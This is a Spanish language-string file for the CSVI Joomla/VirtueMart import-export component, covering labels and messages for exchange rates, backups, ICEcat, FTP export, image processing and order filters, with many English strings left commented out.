COM_CSVI_EXCHANGE_RATE_MXN_ADDED="Valor de cambio para Pesos Mejicanos añadido" COM_CSVI_EXCHANGE_RATE_MYR_ADDED="Valor de cambio para Ringgit Malasio añadido" COM_CSVI_EXCHANGE_RATE_NZD_ADDED="Valor de cambio para Dolar de Nuevo Zelandes añadido" COM_CSVI_EXCHANGE_RATE_PHP_ADDED="Valor de campo para Pero Filipino añadido" COM_CSVI_EXCHANGE_RATE_SGD_ADDED="Valor de cambio para Dolar de Singapur añadido" COM_CSVI_EXCHANGE_RATE_THB_ADDED="Valor de Cambio para Baht de Taiti añadido" COM_CSVI_EXCHANGE_RATE_ZAR_ADDED="Valor de Cambio para Rand Sudafricano añadido" COM_CSVI_CANNOT_LOAD_EXCHANGERATE_FILE="No se puede cargar el archivo con los valores de cambio." COM_CSVI_MAINTENANCE_CATEGORIES_DELETED="Las categorias vacias se han borrado" COM_CSVI_MAINTENANCE_CATEGORIES_NOT_DELETED="Las categorias vacias no se han borrado" COM_CSVI_MAINTENANCE_CATEGORIES_XREF_DELETED="Las referencias de categoria invalida han sido borradas" COM_CSVI_MAINTENANCE_CATEGORIES_XREF_NOT_DELETED="Las referencias de categoria invalida no han sido borradas" COM_CSVI_EXAMPLE_TEMPLATE_INSTALLED="%s plantillas de ejemplo han sido instaladas" COM_CSVI_NO_EXAMPLE_TEMPLATE_INSTALLED="No se han encontrado plantillas de ejemplo para instalar. ¿Las tienes ya instaladas?" COM_CSVI_TEMP_CLEANED="La carpeta Temp ha sido limpiada" COM_CSVI_TEMP_PATH_NOT_FOUND="La ruta del directorio Temp no ha sido encontrada" COM_CSVI_BACKUP_COMPLETE_FOR="Copia de seguridad completada para la tabla %s" COM_CSVI_BACKUP_DOWNLOAD_LINK="Descargar archivo de Copia de seguridad" COM_CSVI_BACKUP_NO_ZIP_CREATE="El archivo zip no ha podido ser creado." COM_CSVI_COULD_NOT_OPEN_FILE="No se ha podido abrir el archivo %s" COM_CSVI_ICECAT_INDEX_NOT_UNPACKED="El archivo index de ICEcat no ha podido ser descomprimido" COM_CSVI_ICECAT_SUPPLIER_NOT_UNPACKED="El archivo de proveedores de ICEcat no ha podido ser descomprimido" COM_CSVI_ICECAT_INDEX_LOADED="Indice ICEcat ha sido cargado" COM_CSVI_ICECAT_INDEX_NOT_LOADED="Indice ICE no ha podido ser cargado. Ocurrio el error: %s" COM_CSVI_ICECAT_SUPPLIERS_LOADED="Proveedores ICEcat han sido cargados" COM_CSVI_ICECAT_SUPPLIERS_NOT_LOADED="Proveedores ICEcat no podido ser cargados. Ocurrio el error: %s" COM_CSVI_ICECAT_NO_USER_PASS="No se ha encontrado usuario o contraseña para ICEcat. ¿Has realizado la configuracion?" COM_CSVI_BACKUP_TEMPLATE="Copia de seguridad completada para la plantilla: %s" COM_CSVI_BACKUP_NO_TEMPLATE="Copia de seguridad no completada para la plantilla: %s" COM_CSVI_BACKUP_TEMPLATE_PATH="Archio de Copia de Seguridad almacenado como: %s" COM_CSVI_NO_UPLOADED_FILE_PROVIDED="No se ha proporcionado el archivo de actualizacion: %s" COM_CSVI_RESTORE_TEMPLATE="Plantilla %s restaurada" COM_CSVI_NO_RESTORE_TEMPLATE="Plantilla %s no restaurada" COM_CSVI_CANNOT_CREATE_UNPACK_FOLDER="No se puede crear el directorio para descomprimir: %s" COM_CSVI_PRODUCTS_UNPUBLISHED="%u productos han sido despublicados." COM_CSVI_PRODUCTS_NOT_UNPUBLISHED="Ha ocurrido un error al despublicar los productos. Error: %s" COM_CSVI_PRODUCTS_NOT_FOUND="No se han encontrado productos para despublicar" COM_CSVI_MAKE_CHOICE="-- Escoja una opcion --" COM_CSVI_SORTCATEGORIES_LABEL="Ordenar categorias" COM_CSVI_EXCHANGERATES_LABEL="Cargar valores de cambio" COM_CSVI_CLEANTEMP_LABEL="Limpiar directorio temporal" COM_CSVI_BACKUPTEMPLATES_LABEL="Realizar copia de seguridad de plantillas" COM_CSVI_RESTORETEMPLATES_LABEL="Restaurar plantillas" COM_CSVI_OPTIMIZETABLES_LABEL="Optimizar tablas" COM_CSVI_UNPUBLISHPRODUCTBYCATEGORY_LABEL="Despublicar productos por categoria" COM_CSVI_REMOVECSVITABLES_LABEL="Borrar tablas de copia de seguridad" COM_CSVI_BACKUPVM_LABEL="Realizar copia de seguridad de la base de datos" COM_CSVI_EMPTYDATABASE_LABEL="Vaciar la base de datos" COM_CSVI_ICECATINDEX_LABEL="Cargar indices de ICEcat" COM_CSVI_NO_OPTIONS_FOUND="No se han encontrado opciones" ; tables/categories_lang.php COM_CSVI_CHECK_CATEGORY_LANG="Comprobar lenguaje de categoria" COM_CSVI_ADD_CATGEGORY_LANG="Agregar lenguaje de categoria" ; COM_CSVI_CHECK_CATGEGORY_SLUG="Check category slug" ; models/templates.php COM_CSVI_SAVE_AS_NEW_FOR_NEW_TEMPLATE="-- Selecciones una plantilla a cargar --" COM_CSVI_PROCESS_SETTINGS_SAVED="La configuracion para la plantilla %s han sido guardadas" COM_CSVI_PROCESS_SETTINGS_NOT_SAVED="Ha ocurrido un error guardando la configuracion. Error: %s" COM_CSVI_PROCESS_SETTINGS_DELETED="Plantilla %s borrada" COM_CSVI_PROCESS_SETTINGS_NOT_DELETED="Ha ocurrido un error borrando las configuraciones. Error: %s" ; models/forms/export.xml COM_CSVI_PROCESS_ACTIONS_LABEL="Accion" COM_CSVI_PROCESS_ACTIONS_DESC="Selecciona una accion a realizar" COM_CSVI_PROCESS_COMPONENT_LABEL="Componente" COM_CSVI_PROCESS_COMPONENT_DESC="Selecciona un componente" COM_CSVI_SELECT_COMPONENT="-- Selecciona un componente --" COM_CSVI_PROCESS_OPERATION_LABEL="-- Selecciona una operacion --" COM_CSVI_PROCESS_OPERATION_DESC="Selecciona una operacion" COM_CSVI_SELECT_OPERATION="-- Selecciona una operacion --" COM_CSVI_EXPORT_EXPORTTO_OPTIONS_LABEL="Destino" COM_CSVI_EXPORT_EXPORTTO_OPTIONS_DESC="Seleccion el destino de la exportacion donde enviar el archivo exportado" COM_CSVI_EXPORT_TO_DOWNLOAD_LABEL="Descargar" ; COM_CSVI_EXPORT_TO_FRONT_LABEL="Screen" COM_CSVI_EXPORT_TO_LOCAL_LABEL="Guardar en el servidor" COM_CSVI_EXPORT_TO_FTP_LABEL="Guardar en el servidor FTP" COM_CSVI_EXPORT_EMAIL_FILE_LABEL="Archivo de E-mail" COM_CSVI_EXPORT_LOCATION_INFO_LABEL="Ruta de la Exportacion" COM_CSVI_EXPORT_LOCATION_INFO_DESC="Especifica el lugar en el servidor donde el archivo debe ser guardado. No incluyas el nombre del archivo, sera cogido de la plantilla o generado automaticamente. No añades una barra al final." COM_CSVI_EXPORT_FTP_HOST_LABEL="Host FTP" COM_CSVI_EXPORT_FTP_HOST_DESC="Introduce el nombre del host del Servidor FTP" COM_CSVI_EXPORT_FTP_PORT_LABEL="Puerto FTP" COM_CSVI_EXPORT_FTP_PORT_DESC="Introduce el puerto del servidor FTP" COM_CSVI_EXPORT_FTP_USERNAME_LABEL="Usuario FTP" COM_CSVI_EXPORT_FTP_USERNAME_DESC="Introduce el nombre del Usuario del FTP" COM_CSVI_EXPORT_FTP_PASS_LABEL="Contraseña FTP" COM_CSVI_EXPORT_FTP_PASS_DESC="Instroduce la contraseña del host del servidor FTP" COM_CSVI_EXPORT_FTP_ROOT_LABEL="Carpeta root FTP" COM_CSVI_EXPORT_FTP_ROOT_DESC="Introduce la ruta en la que quieres empezar" COM_CSVI_IMPORT_FTP_FILENAME_LABEL="Nombre archivo FTP" COM_CSVI_IMPORT_FTP_FILENAME_DESC="Especifica el nombre de archivo para obtener del servidor FTP" COM_CSVI_EXPORT_FILENAME_LABEL="Nombre de archivo para el archivo exportado" COM_CSVI_EXPORT_FILENAME_DESC="Rellena el nombre de archivo para permitir a esta plantilla usar siempre el mismo nombre de archivo en vez de usar uno auto generado." COM_CSVI_EXPORT_FILE_LABEL="Tipo exportado" COM_CSVI_EXPORT_FILE_DESC="Elige aqui el tipo de archivo para la exportacion" COM_CSVI_EXPORT_SITE_LABEL="Pagina Web" ; COM_CSVI_EXPORT_SITE_DESC="Select for which website the XML file should be generated.

              Only used with XML export." COM_CSVI_FIELD_DELIMITER_LABEL="Delimitador de archivo" ; COM_CSVI_FIELD_DELIMITER_DESC="Enter a unique character that separates each field. This character cannot be part of the data that is being uploaded.

              Use t to specify tab delimiter.

              This is only used for CSV files. XML files use the fieldnames attached to the template as nodes." COM_CSVI_TEXT_ENCLOSURE_LABEL="Cierre de Texto" ; COM_CSVI_TEXT_ENCLOSURE_DESC="Enter a unique character that encloses each field. This character cannot be part of the data that is being uploaded.

              This is only used for CSV files. XML files use the fieldnames attached to the template as nodes." COM_CSVI_USE_COLUMN_HEADERS_LABEL="Usar cabeceras/nodos como configuracion" ; COM_CSVI_USE_COLUMN_HEADERS_DESC="Use the first line of the imported file (or/ the XML node names from the first record of an XML file) as configuration instead of the fields assigned to this template." COM_CSVI_INCLUDE_COLUMN_HEADERS_LABEL="Incluir cabeceras de las columnas" COM_CSVI_INCLUDE_COLUMN_HEADERS_DESC="Selecciona esta opcion para incluir las cabeceras de las columnas en el archivo exportado." COM_CSVI_EXPORT_SIGNATURE_LABEL="CSV Excel" ; COM_CSVI_EXPORT_SIGNATURE_DESC="Select this to add a signature to your export file. This will help Excel to recognize extended characters" ; COM_CSVI_EXPORT_FRONTEND_LABEL="Export frontend" ; COM_CSVI_EXPORT_FRONTEND_DESC="Exporting a template on the frontend allows to display set data on the frontend. This can be used for price comparison sites who want to download your list of products. Set to Yes to allow the template to be exported from the frontend, or no to disallow export from the frontend." ; COM_CSVI_COLLECT_DEBUG_INFO_LABEL="Collect debug information" ; COM_CSVI_COLLECT_DEBUG_INFO_DESC="Collect debug information to see what is happening on import.

              Use with caution on big files as the output will be a lot." ; COM_CSVI_EXPORT_STATE_LABEL="Export state" ; COM_CSVI_EXPORT_STATE_DESC="Set the state to export. Items can be exported that are published, unpublished or both." ; COM_CSVI_PUBLISHED="Published" ; COM_CSVI_UNPUBLISHED="Unpublished" COM_CSVI_EXPORT_NUMBER_RECORDS_LABEL="Numero de registros a exportar" ; COM_CSVI_EXPORT_NUMBER_RECORDS_DESC="Specify the number of rows to export. This is not the same as the number of products because a product can be more than 1 row." ; COM_CSVI_EXPORT_GROUPBY_LABEL="Record grouping" ; COM_CSVI_EXPORT_GROUPBY_DESC="Selecting this option will group the same records together effectively removing any duplicate records. Grouping is based on the selected export fields." ; COM_CSVI_EXPORT_DATE_FORMAT_LABEL="Date format" ; COM_CSVI_EXPORT_DATE_FORMAT_DESC="Set the date format of how date fields get exported. Notation follows the rules of the PHP date function. For details see the PHP manual at http://www.php.net/date." ; COM_CSVI_EXPORT_FORMAT_DECIMAL="Number of decimals" ; COM_CSVI_EXPORT_FORMAT_DECIMAL_SEPARATOR="Decimal separator" ; COM_CSVI_EXPORT_FORMAT_THOUSAND_SEPERATOR="Thousand separator" ; COM_CSVI_EXPORT_ADD_CURRENCY_TO_PRICE_LABEL="Add currency to price" ; COM_CSVI_EXPORT_ADD_CURRENCY_TO_PRICE_DESC="Set to yes to have the currency prepended to the price. E.g. EUR 99,00." ; models/forms/import.xml ; COM_CSVI_IMPORT_OPERATION_LABEL="COM_CSVI_IMPORT_OPERATION_LABEL" ; COM_CSVI_IMPORT_OPERATION_DESC="COM_CSVI_IMPORT_OPERATION_DESC" ; COM_CSVI_IMPORT_SOURCE_OPTIONS_LABEL="Source" ; COM_CSVI_IMPORT_SOURCE_OPTIONS_DESC="Select the source where you want to retrieve the import file from" ; COM_CSVI_IMPORT_UPLOAD_FILE_LABEL="Load from computer" ; COM_CSVI_IMPORT_FROM_SERVER_LABEL="Load from server" ; COM_CSVI_IMPORT_FROM_URL_LABEL="Load from URL" ; COM_CSVI_IMPORT_FROM_FTP_LABEL="Load from FTP" ; COM_CSVI_IMPORT_UPLOAD_FILE_DESC="Choose this option to import a file stored on your local computer" ; COM_CSVI_IMPORT_FROM_SERVER_DESC="Choose this option to import a file stored on the server. The file can be uploaded via FTP first then selected here. This is handy for large files.

              The full path including filename must be specified." ; COM_CSVI_IMPORT_FROM_URL_DESC="Choose this option to import a file from a URL location" ; COM_CSVI_AUTO_DELIMITER_LABEL="Auto detect delimiters" ; COM_CSVI_AUTO_DELIMITER_DESC="Select this option to have CSVI try to detect your text delimiter and field enclosure automatically. Tab delimiters cannot be detected automatically. If this doesn't work, set your text delimiter and field enclosure manually." ; COM_CSVI_CATEGORY_SEPARATOR_LABEL="Category separator" ; COM_CSVI_CATEGORY_SEPARATOR_DESC="Set the character to be used as category separator. The default is a forward slash." ; COM_CSVI_SKIP_FIRST_LINE_LABEL="Skip first line" ; COM_CSVI_SKIP_FIRST_LINE_DESC="Skip the first line on import. Use this if the import file contains column headers but the fields assigned to this template need to be used. This has no effect when importing from XML files" ; COM_CSVI_OVERWRITE_EXISTING_DATA_LABEL="Overwrite existing data" ; COM_CSVI_OVERWRITE_EXISTING_DATA_DESC="Overwrite existing data will overwrite all data for each record. When not set, a record will be skipped if it exists." ; COM_CSVI_IGNORE_NON_DATA_LABEL="Ignore non-existing items" ; COM_CSVI_IGNORE_NON_DATA_DESC="Ignore non-existing items will not create any new items if the item cannot be found." ; COM_CSVI_SKIP_DEFAULT_LABEL="Skip default value" ; COM_CSVI_SKIP_DEFAULT_DESC="Default values set in the assigned fields will not be used when set to Yes." ; COM_CSVI_SHOW_PREVIEW_LABEL="Show preview" ; COM_CSVI_SHOW_PREVIEW_DESC="Show a preview before importing" ; COM_CSVI_REFRESH_XML_HEADERS_LABEL="Refresh configuration from XML nodes" ; COM_CSVI_REFRESH_XML_HEADERS_DESC="Refresh the configuration from the XML node names of each record instead of using the initial header configuration for every record. This option only has has any effect when importing from XML files and when Use column headers/nodes as configuration is also set" ; COM_CSVI_XML_NODES_LABEL="XML Record Nodes" ; COM_CSVI_XML_NODES_DESC="Enter the names of the nodes in the XML file that represent the input record types. There will usually be only one record type but if more than one record type is entered, each must be separated by a comma." ; COM_CSVI_IM_MAC_LABEL="I'm Mac" ; COM_CSVI_IM_MAC_DESC="Set this option to Yes if you work on a Apple Macintosh computer.

              From the PHP manual: This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour." ; models/forms/settings.xml COM_CSVI_IMPORT_NOLINES_LABEL="Lineas por importacion" ; COM_CSVI_IMPORT_NOLINES_DESC="Set the number of lines to use per import. Use 0 for unlimited lines. Adjust this setting if your import is running out of time." COM_CSVI_IMPORT_WAIT_LABEL="Tiempo entre importaciones" ; COM_CSVI_IMPORT_WAIT_DESC="Set the number of seconds to wait between every import when doing large imports. This can be necessary to prevent the server from overloading." ; COM_CSVI_HOSTNAME_LABEL="Domain name" ; COM_CSVI_HOSTNAME_DESC="Enter your full domain name, including the http:// but without the last /. This is used for creating SEF URLs." ; COM_CSVI_GOOGLE_BASE_TITLE_LABEL="Google Base Title" ; COM_CSVI_GOOGLE_BASE_TITLE_DESC="The title of your Google Base Export file" ; COM_CSVI_GOOGLE_BASE_LINK_LABEL="Google Base Link" ; COM_CSVI_GOOGLE_BASE_LINK_DESC="The link to your webstore" ; COM_CSVI_GOOGLE_BASE_DESCRIPTION_LABEL="Google Base Description" ; COM_CSVI_GOOGLE_BASE_DESCRIPTION_DESC="A description of your webstore" COM_CSVI_ICECAT_USERNAME_LABEL="Nombre de Usuario" ; COM_CSVI_ICECAT_USERNAME_DESC="Enter your ICEcat username" ; COM_CSVI_ICECAT_PASSWORD_LABEL="Password" ; COM_CSVI_ICECAT_PASSWORD_DESC="Enter your ICEcat passwod" ; COM_CSVI_ICECAT_ADVANCED_LABEL="Use Full ICEcat" ; COM_CSVI_ICECAT_ADVANCED_DESC="COM_CSVI_ICECAT_ADVANCED_DESC" ; COM_CSVI_ICECAT_LANG_LABEL="ICEcat language" ; COM_CSVI_ICECAT_LANG_DESC="Select here in which language the ICEcat data should be loaded" ; COM_CSVI_ICECAT_INT="International standardized version" ; COM_CSVI_ICECAT_EN="Standard or UK English" ; COM_CSVI_ICECAT_US="US English" ; COM_CSVI_ICECAT_BG="Bulgarian" ; COM_CSVI_ICECAT_CA="Catalan" ; COM_CSVI_ICECAT_ZH="Chinese (simplified)" ; COM_CSVI_ICECAT_HR="Croatian" ; COM_CSVI_ICECAT_CZ="Czech" ; COM_CSVI_ICECAT_DK="Danish" ; COM_CSVI_ICECAT_NL="Dutch" ; COM_CSVI_ICECAT_FI="Finnish" ; COM_CSVI_ICECAT_FR="French" ; COM_CSVI_ICECAT_KA="Georgian" ; COM_CSVI_ICECAT_DE="German" ; COM_CSVI_ICECAT_HU="Hungarian" ; COM_CSVI_ICECAT_IT="Italian" ; COM_CSVI_ICECAT_JA="Japanese" ; COM_CSVI_ICECAT_NO="Norwegian" ; COM_CSVI_ICECAT_PL="Polish" ; COM_CSVI_ICECAT_PT="Portuguese" ; COM_CSVI_ICECAT_RO="Romanian" ; COM_CSVI_ICECAT_RU="Russian" ; COM_CSVI_ICECAT_SR="Serbian" ; COM_CSVI_ICECAT_ES="Spanish" ; COM_CSVI_ICECAT_SE="Swedish" ; COM_CSVI_ICECAT_TR="Turkish" ; COM_CSVI_ICECAT_UK="Ukrainian" ; COM_CSVI_ICECAT_INDEX_URL_LABEL="Index URL" ; COM_CSVI_ICECAT_INDEX_URL_DESC="Specify the location of the ICEcat Index URL file" ; COM_CSVI_ICECAT_MF_URL_LABEL="Manufacturer URL" ; COM_CSVI_ICECAT_MF_URL_DESC="Specify the location of the ICEcat Manufacturer URL file" ; COM_CSVI_LOG_STORE_LABEL="Save log reports" ; COM_CSVI_LOG_STORE_DESC="Set whether or not to save log reports in database" ; COM_CSVI_LOG_MAX_LABEL="Log entries" ; COM_CSVI_LOG_MAX_DESC="Set the number of last log entries to keep. Any old log entries will be deleted before doing an import or export." ; COM_CSVI_LOG_TYPE_LABEL="Log types" ; COM_CSVI_LOG_TYPE_DESC="Select which type of error levels to log" ; COM_CSVI_ALL_LOGS="All" ; COM_CSVI_LOG_NOTICE="Notice" COM_CSVI_LOG_FAILURE="Fallo" ; COM_CSVI_LOG_NOTICE_FAILURE="Notice & Failure" ; COM_CSVI_LOG_LINE_START_LABEL="Start log at line" ; COM_CSVI_LOG_LINE_START_DESC="Set the start line the logger should start recording the log" ; COM_CSVI_LOG_LINE_END_LABEL="End log at line" ; COM_CSVI_LOG_LINE_END_DESC="Set the end line the logger should stop recording the log" ; COM_CSVI_TABLELIST_LABEL="COM_CSVI_TABLELIST_LABEL" ; COM_CSVI_TABLELIST_DESC="COM_CSVI_TABLELIST_DESC" ; models/forms/templatetype.xml COM_CSVI_TEMPLATE_TYPE_NAME_LABEL="Nombre" ; COM_CSVI_TEMPLATE_TYPE_NAME_DESC="Give the name of the template type" COM_CSVI_TEMPLATE_PROCESS_LABEL="Proceso" ; COM_CSVI_TEMPLATE_PROCESS_DESC="Choose the process the template type is for" COM_CSVI_COMPONENT_LABEL="Componente" ; COM_CSVI_COMPONENT_DESC="Give the name of the component the template type is for" COM_CSVI_OPTIONS_LABEL="Opciones" ; COM_CSVI_OPTIONS_DESC="Give a comma separated list of option screens to show" ; COM_CSVI_URL_LABEL="URL" ; COM_CSVI_URL_DESC="Give the URL of the component page" ; models/forms/import/limit.xml ; COM_CSVI_EXPORT_USE_SYSTEM_LIMITS_LABEL="Override system limits?" ; COM_CSVI_EXPORT_USE_SYSTEM_LIMITS_DESC="Choose if CSVI should try to adjust the server limits. In most cases this has no effect due to server restrictions. Contact your host on how to increase system limits." ; COM_CSVI_EXPORT_MAX_EXECUTION_TIME_LABEL="Maximum execution time" ; COM_CSVI_EXPORT_MAX_EXECUTION_TIME_DESC="This is the maximum time the import or export script is allowed to run before timing out. Value is in seconds." ; COM_CSVI_EXPORT_MEMORY_LIMIT_LABEL="Maximum amount of memory" ; COM_CSVI_EXPORT_MEMORY_LIMIT_DESC="This is the amount of memory the import or export script is allowed to use before terminating. Value is in megabytes." ; COM_CSVI_IMPORT_POST_MAX_SIZE_LABEL="Maximum size of POST data in megabytes" ; COM_CSVI_IMPORT_POST_MAX_SIZE_DESC="Sets maximum size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than the maximum allowed size for uploaded files." ; COM_CSVI_IMPORT_UPLOAD_MAX_FILESIZE_LABEL="Maximum allowed size for uploaded files in megabytes" ; COM_CSVI_IMPORT_UPLOAD_MAX_FILESIZE_DESC="This is the maximum size that is allowed for an uploaded file." ; models/forms/export/email.xml ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_LABEL="E-mail addresses" ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_DESC="Specify one or more e-mail addresses where the exported file should be send to. Separate multiple e-mail addresses with a comma (,)." ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_CC_LABEL="CC E-mail addresses" ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_CC_DESC="Specify one or more e-mail addresses to be added as CC address. Separate multiple e-mail addresses with a comma (,)." ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_BCC_LABEL="BCC E-mail addresses" ; COM_CSVI_EXPORT_EMAIL_ADDRESSES_BCC_DESC="Specify one or more e-mail addresses to be added as BCC address. Separate multiple e-mail addresses with a comma (,)." ; COM_CSVI_EXPORT_EMAIL_SUBJECT_LABEL="Subject" ; COM_CSVI_EXPORT_EMAIL_SUBJECT_DESC="Set the subject of the e-mail message" ; COM_CSVI_EXPORT_EMAIL_BODY_LABEL="E-mail message" ; COM_CSVI_EXPORT_EMAIL_BODY_DESC="Set the e-mail message" ; models/forms/export/layout.xml ; COM_CSVI_EXPORT_LAYOUT_HEADER_LABEL="Header" ; COM_CSVI_EXPORT_LAYOUT_HEADER_DESC="Specify a header to add to the export file" ; COM_CSVI_EXPORT_LAYOUT_BODY_LABEL="Body" ; COM_CSVI_EXPORT_LAYOUT_BODY_DESC="Specify the body of the XML file. This is a single node that will be used to generate the full XML file" ; COM_CSVI_EXPORT_LAYOUT_FOOTER_LABEL="Footer" ; COM_CSVI_EXPORT_LAYOUT_FOOTER_DESC="Specify a footer to add to the export file" ; models/forms/com_virtuemart/import/calc.xml ; COM_CSVI_LANGUAGE_LABEL="Language" ; COM_CSVI_LANGUAGE_DESC="Choose the language to use" ; COM_CSVI_TARGET_LANGUAGE_LABEL="Translated Language" ; COM_CSVI_TARGET_LANGUAGE_DESC="Choose the language to use for the translation" ; models/forms/com_virtuemart/import/category_image.xml ; COM_CSVI_PROCESS_IMAGE_LABEL="Process images" ; COM_CSVI_PROCESS_IMAGE_DESC="Set this option to yes if you want CSVI to process your images. If set to No, the image names are imported as found in the import file." ; COM_CSVI_GENERATE_IMAGE_NAME_CASE_LABEL="Change case" ; COM_CSVI_GENERATE_IMAGE_NAME_CASE_DESC="Select here if the case of the filename should be changed and if so to what case" ; COM_CSVI_DO_NOT_CHANGE_CASE="Do not change case" ; COM_CSVI_SELECT_LCASE="lowercase" ; COM_CSVI_SELECT_UCASE="UPPERCASE" ; COM_CSVI_SELECT_UCFIRST="First letter uppercase" ; COM_CSVI_SELECT_UCWORDS="First Letter Of Every Word Uppercase" ; COM_CSVI_KEEP_ORIGINAL_LABEL="Keep original file" ; COM_CSVI_KEEP_ORIGINAL_DESC="Set this to yes if you want to leave the original image untouched. This does not apply to thumbnails." ; COM_CSVI_AUTO_GENERATE_IMAGE_NAME_EXT_LABEL="Image name format" ; COM_CSVI_AUTO_GENERATE_IMAGE_NAME_EXT_DESC="Set the type of image format to be added to the generated image name" ; COM_CSVI_DO_NOT_CONVERT="Do not convert" ; COM_CSVI_SAVE_IMAGES_ON_SERVER_LABEL="Save images on server" ; COM_CSVI_SAVE_IMAGES_ON_SERVER_DESC="Stores external images of the full image on the server and changes the remote image name to a local image name. Images will be stored in the default folder. Existing files will be overwritten." ; COM_CSVI_FULL_IMAGE_RESIZE_LABEL="Resize large image" ; COM_CSVI_FULL_IMAGE_RESIZE_DESC="Enable this option to resize large images to a maximum specified size. The specified size will be applied to all images that are larger than the given size." ; COM_CSVI_FULL_WIDTH_HEIGHT_LABEL="Full image width x height" ; COM_CSVI_FULL_WIDTH_HEIGHT_DESC="Set a fixed size for full images to have CSVI reduce any images that are larger than the specified size. Smaller images will not be resized to a larger size as this will reduce the quality of the image." ; COM_CSVI_THUMB_CHECK_FILETYPE_LABEL="Check filetype" ; COM_CSVI_THUMB_CHECK_FILETYPE_DESC="Set this to yes to force the thumbnail to be the same image type as the full image. E.g. if the full image is a JPG image and the thumbnail a PNG image, setting this option to yes will change the thumbnail from PNG to JPG" ; COM_CSVI_AUTOMATIC_THUMBNAIL_CREATION_LABEL="Automatic thumbnail creation" ; COM_CSVI_AUTOMATIC_THUMBNAIL_CREATION_DESC="If enabled, thumbnails will be created automatically of image files" ; COM_CSVI_THUMBNAIL_FORMAT_LABEL="Thumbnail type" ; COM_CSVI_THUMBNAIL_FORMAT_DESC="Select the output format of the thumbnails. Leave on default to use the format of the master file. This can be used to create thumbnails that are all in the same format." ; COM_CSVI_THUMBNAIL_WIDTH_HEIGHT_LABEL="Thumbnail width x height" ; COM_CSVI_THUMBNAIL_WIDTH_HEIGHT_DESC="Importing image files will create thumbnails of the size set here" ; models/forms/com_virtuemart/import/category_path.xml ; COM_CSVI_IMPORT_FILE_LOCATION_CATEGORY_IMAGES_LABEL="File location category images" ; COM_CSVI_IMPORT_FILE_LOCATION_CATEGORY_IMAGES_DESC="File location is used as a starting point of the location of category image files. Do not add a trailing slash." ; models/forms/com_virtuemart/import/image.xml ; COM_CSVI_AUTO_GENERATE_IMAGE_NAME_LABEL="Create image name" ; COM_CSVI_AUTO_GENERATE_IMAGE_NAME_DESC="Create an image name for both the full and thumbnail image. This will add the image name in the database but not check if the image actually exists. Images are assumed to be in the default location." ; COM_CSVI_TYPE_GENERATE_IMAGE_NAME_LABEL="Image name based on" ; COM_CSVI_TYPE_GENERATE_IMAGE_NAME_DESC="Select the type the image name should be based on" COM_CSVI_PRODUCT_SKU="SKU del Producto" COM_CSVI_PRODUCT_NAME="Nombre del Producto" ; COM_CSVI_PRODUCT_ID="Product ID" ; COM_CSVI_RANDOM="Random" ; models/forms/com_virtuemart/import/media.xml ; COM_CSVI_IGNORE_NON_EXIST_FILES_LABEL="Ignore media file" ; COM_CSVI_IGNORE_NON_EXIST_FILES_DESC="If set, a media file is not added to the database when the file cannot be found on the server" ; models/forms/com_virtuemart/import/media_path.xml ; COM_CSVI_IMPORT_FILE_LOCATION_PRODUCT_IMAGES_LABEL="File location product images" ; COM_CSVI_IMPORT_FILE_LOCATION_PRODUCT_IMAGES_DESC="File location is used as a starting point of the location of product image files. Do not add a trailing slash." ; models/forms/com_virtuemart/import/product.xml ; COM_CSVI_APPEND_CATEGORIES_LABEL="Append categories" ; COM_CSVI_APPEND_CATEGORIES_DESC="Append categories to existing categories instead of overwriting them" ; COM_CSVI_UPDATE_BASED_ON_LABEL="Import based on" ; COM_CSVI_UPDATE_BASED_ON_DESC="Setting this option determines how CSVI recognizes products. CSVI can recognize products based on their product SKU, custom SKU or child product SKU.
              Custom SKU
              Choosing import based on custom SKU requires the custom SKU table name field to be filled.
              Child products
              Choosing import based on child product SKU requires the import file to have both product_sku and product_parent_sku fields." ; COM_CSVI_PRODUCT_MPN="Custom SKU" ; COM_CSVI_PRODUCT_CHILD_SKU="Product child SKU" ; COM_CSVI_MPN_COLUMN_NAME_LABEL="Custom column name" ; COM_CSVI_MPN_COLUMN_NAME_DESC="Specify the name of the database column that holds the custom SKU" ; COM_CSVI_UNPUBLISH_BEFORE_IMPORT_LABEL="Unpublish products before import" ; COM_CSVI_UNPUBLISH_BEFORE_IMPORT_DESC="Setting this option will unpublish all products before doing a new import" ; COM_CSVI_USE_ICECAT_LABEL="Use ICEcat data" ; COM_CSVI_USE_ICECAT_DESC="Select this to have CSVI read the data from ICEcat if available" ; models/forms/com_virtuemart/export/order.xml ; COM_CSVI_EXPORT_ORDER_NUMBER_LABEL="Order number" ; COM_CSVI_EXPORT_ORDER_NUMBER_DESC="Specify the start and end order number to filter the orders by number. The start and end number are included in the selection." ; COM_CSVI_EXPORT_ORDER_LIST_LABEL="Order IDs" ; COM_CSVI_EXPORT_ORDER_LIST_DESC="A comma separated list of order IDs" ; COM_CSVI_EXPORT_ORDER_DATE_LABEL="Order date" ; COM_CSVI_EXPORT_ORDER_DATE_DESC="Specify the start and end date to filter the orders by date. The start and end date are included in the selection." ; COM_CSVI_EXPORT_ORDER_MODIFIED_DATE_LABEL="Order modified date" ; COM_CSVI_EXPORT_ORDER_MODIFIED_DATE_DESC="Specify the start and end date to filter the orders by their last modification date. The start and end date are included in the selection." ; COM_CSVI_EXPORT_ORDER_STATUS_LABEL="Order status" ; COM_CSVI_EXPORT_ORDER_STATUS_DESC="Select the order status to filter the orders by their status" ; COM_CSVI_EXPORT_ORDER_PAYMENT_LABEL="Order payment method" ; COM_CSVI_EXPORT_ORDER_PAYMENT_DESC="Specify the payment type to filter orders on the payment method used" ; COM_CSVI_EXPORT_ORDER_SHIPPING_LABEL="Order address type" ; COM_CSVI_EXPORT_ORDER_SHIPPING_DESC="Select the type of address to filter orders on.

              StatusDescription
              Don't useAll order address types are exported
              Billing addressOnly orders with billing address are exported
              Shipping addressOnly orders with shipping address are exported
              Billing or shipping addressOrders will be exported with their billing address unless a shipping address exists. The shipping address will be used in this case.
